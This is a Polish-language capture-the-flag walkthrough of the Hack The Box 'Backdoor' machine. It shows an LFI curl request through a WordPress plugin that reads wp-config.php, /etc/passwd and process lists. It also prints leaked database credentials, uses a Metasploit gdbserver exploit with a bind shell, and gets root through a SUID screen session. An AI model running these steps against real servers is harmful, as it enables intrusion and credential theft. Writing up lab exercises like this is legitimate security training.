Backdoor - 22.11.2021
NMap
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -T4 -p- 10.129.106.242
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-22 22:36 CET
Nmap scan report for backdoor.htb (10.129.106.242)
Host is up (0.072s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
1337/tcp open waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Strona główna
Strona wygląda na Wordpress.
WpScan
wpscan --url backdoor.htb
Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
[+] WordPress version 5.8.1 identified (Insecure, released on 2021-09-09).
[+] WordPress theme in use: twentyseventeen
| Location: http://backdoor.htb/wp-content/themes/twentyseventeen/
| Latest Version: 2.8 (up to date)
| Last Updated: 2021-07-22T00:00:00.000Z
Zatem wiadomo, że na Wordpressie jest użytkownik admin
Enumeracja folderu plugins
Plugin ebook-download
. Możliwe, że zawiera ciekawe informacje.
Informacje
Plugin: Contributors: zedna Tags: ebook, file, download Requires at least: 3.0.4 Tested up to: 4.4 Stable tag: 1.1
Szybkie googlowanie w poszukiwaniu potencjalnych exploitów na plugin ebook-downloader
I jest potencjalny exploit
https://www.exploit-db.com/exploits/39575
LFI
curl http://10.129.106.242/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
wordpressuser:MQYBJSaD#DxG6qbm
/etc/passwd
user:x:1000:1000:user:/home/user:/bin/bash
Po godzinach prób, odkryłem, że można sprawdzić uruchomione procesy:
curl http://10.129.106.242/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../../proc/sched_debug
Plik oczyściłem tak, by uzyskać jedynie nazwy uruchomionych procesów
cat procesy.txt | awk '{print $2}' | sort -u > procesy.txt
Googlowanie nietypowych nazw w końcu dało jakiś rezultat
Wynika z tego, że na serwerze jest uruchomiony gdbserver
Okazuje się, że pod portem 1337
znajduje się właśnie ta usługa.
Próby exploitu gdbserver
Użyłem Metasploit z modułem multi/gdb/gdb_server_exec
. Z uwagi, że jestem w miejscu gdzie jest firewall, musiałem ustawić inny payload niż zwykle:
set payload linux/x64/shell/bind_tcp
user.txt
8af3bf9ba355001010d38211b1897f5f
Privilege Escalation
Tym poleceniem szukam wszystkich plików SUID.
find / -perm -4000 2>/dev/null
Jest jedna ciekawa pozycja:
/usr/bin/screen
Jednak jest potrzebne hasło obecnego użytkownika user
, zatem prawdopodobnie musimy poszukać w bazie MySql.
Baza MySql (cli)
mysql -u wordpressuser --password=MQYBJSaD#DxG6qbm -D wordpress -e 'show databases;'
mysql -u wordpressuser --password=MQYBJSaD#DxG6qbm -D wordpress -e 'select * FROM wp_users;'
admin:$P$Bt8c3ivanSGd2TFcm3HV/9ezXPueg5.
EDIT
Hasha nie udało się złamać. Okazało się, że jest proste rozwiązanie problemu. Aby uruchomić screen
esklalując uprawnienia, należy ustawić opcje terminala:
export TERM='vt100'
Teraz wpisując
screen -x root/
Uzyskujemy roota
root.txt
4cf8759e22af263a555dc9289caacf1d